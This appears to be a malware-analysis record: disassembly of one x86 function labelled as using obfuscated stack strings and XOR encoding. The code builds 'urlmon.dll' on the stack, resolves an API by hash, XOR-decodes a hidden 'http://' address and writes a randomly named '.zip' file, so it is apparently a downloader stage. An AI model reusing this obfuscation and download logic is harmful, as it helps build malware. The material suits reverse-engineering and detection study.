Function at 0x7dee3e30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.7dee3d60
add esp, 4
test eax, eax
jne 0x7dee40db
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 6], al
mov dword [ebp - 5], eax
mov byte [ebp - 1], al
lea eax, [ebp - 0x10]
push eax
lea esi, [edi + 0x20]
push esi
mov dword [ebp - 0xa4], 0x750068
mov dword [ebp - 0xa0], 0x730076
mov dword [ebp - 0x9c], 0x2a003e
mov dword [ebp - 0x98], 0x700029
mov dword [ebp - 0x94], 0x7e007f
mov dword [ebp - 0x90], 0x780024
mov dword [ebp - 0x8c], 0x61007d
mov dword [ebp - 0x88], 0x7b0067
mov dword [ebp - 0x84], 0x3f0075
mov dword [ebp - 0x80], 0x61007d
mov dword [ebp - 0x7c], 0x3a0073
mov dword [ebp - 0x78], 0x270024
mov dword [ebp - 0x74], 0x2d0029
mov dword [ebp - 0x70], 0x680035
mov dword [ebp - 0x6c], 0x71006d
mov dword [ebp - 0x68], 0x6b0077
mov dword [ebp - 0x64], 0xc0045
mov dword [ebp - 0x60], 0x4f0046
mov dword [ebp - 0x5c], 0x80048
mov dword [ebp - 0x58], 0x4e0051
mov dword [ebp - 0x54], 0x1a0046
mov dword [ebp - 0x50], 0x60018
mov dword [ebp - 0x4c], 0x150054
mov dword [ebp - 0x48], 0x20018
mov dword [ebp - 0x44], 0x10003
mov dword [ebp - 0x40], 0x3000a
mov dword [ebp - 0x3c], 0x50007
mov dword [ebp - 0x38], 0x190006
mov dword [ebp - 0x34], 0x500042
mov dword [ebp - 0x30], 0x4a
mov dword [ebp - 0x10], 0x6d6c7275
mov dword [ebp - 0xc], 0x642e6e6f
mov word [ebp - 8], 0x6c6c
call fcn.7ded5050
push 0xee7ddbb4
push 0
push 0
push eax
push esi
call fcn.7dee0c90
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x7dee410e
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x2aa]
xor edx, edx
push ecx
mov dword [ebp - 0x1c], 0x7a002e
mov dword [ebp - 0x18], 0x700069
mov word [ebp - 0x14], dx
mov word [ebp - 0x2ac], ax
call fcn.7dee76e0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x4b2]
push eax
mov word [ebp - 0x4b4], dx
call fcn.7dee76e0
push 0
push 4
lea ecx, [ebp - 0x2ac]
push ecx
push edi
call fcn.7ded53a0
push 0
push 4
lea edx, [ebp - 0x4b4]
push edx
push edi
call fcn.7ded53a0
lea eax, [ebp - 0x2ac]
push eax
call fcn.7dee7950
mov ecx, 0x5c
push 8
push 5
mov word [ebp + eax*2 - 0x2ac], cx
call fcn.7ded47e0
movzx edx, al
add esp, 0x44
push edx
lea eax, [ebp - 0x2ac]
push eax
call fcn.7dee7950
lea ecx, [ebp + eax*2 - 0x2ac]
add esp, 4
push ecx
call fcn.7dee8610
push 0
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x2ac]
push eax
call fcn.7dee7ac0
xor ecx, ecx
add esp, 0x14
cmp word [ebp - 0xa4], cx
je 0x7dee4083
lea eax, [ebp - 0xa4]
mov dl, byte [eax]
xor dl, cl
movzx edx, dl
inc ecx
mov word [eax], dx
cmp word [ebp + ecx*2 - 0xa4], 0
lea eax, [ebp + ecx*2 - 0xa4]
jne 0x7dee4066
lea eax, [ebp - 0xa4]
push ebx
push eax
call fcn.7dee7950
push 0x37
push 0x33
mov ebx, eax
call fcn.7ded47e0
add esp, 0xc
push 0
push 0
movzx ecx, al
lea edx, [ebp - 0x2ac]
push edx
lea eax, [ebp - 0xa4]
push eax
push 0
mov word [ebp + ebx*2 - 0xb2], cx
call esi
pop ebx
test eax, eax
js 0x7dee410e
lea ecx, [ebp - 0x4b4]
push ecx
lea edx, [ebp - 0x2ac]
push edx
push edi
call fcn.7ded5890
add esp, 0xc
push 0x7378
push edi
call fcn.7dee7810
mov esi, eax
add esp, 8
test esi, esi
je 0x7dee410e
push 0x16
push esi
push edi
call fcn.7dedd730
push 0x1024
push esi
push edi
call fcn.7dedd730
push esi
push edi
call fcn.7dee7640
add esp, 0x20
pop edi
pop esi
mov esp, ebp
pop ebp
ret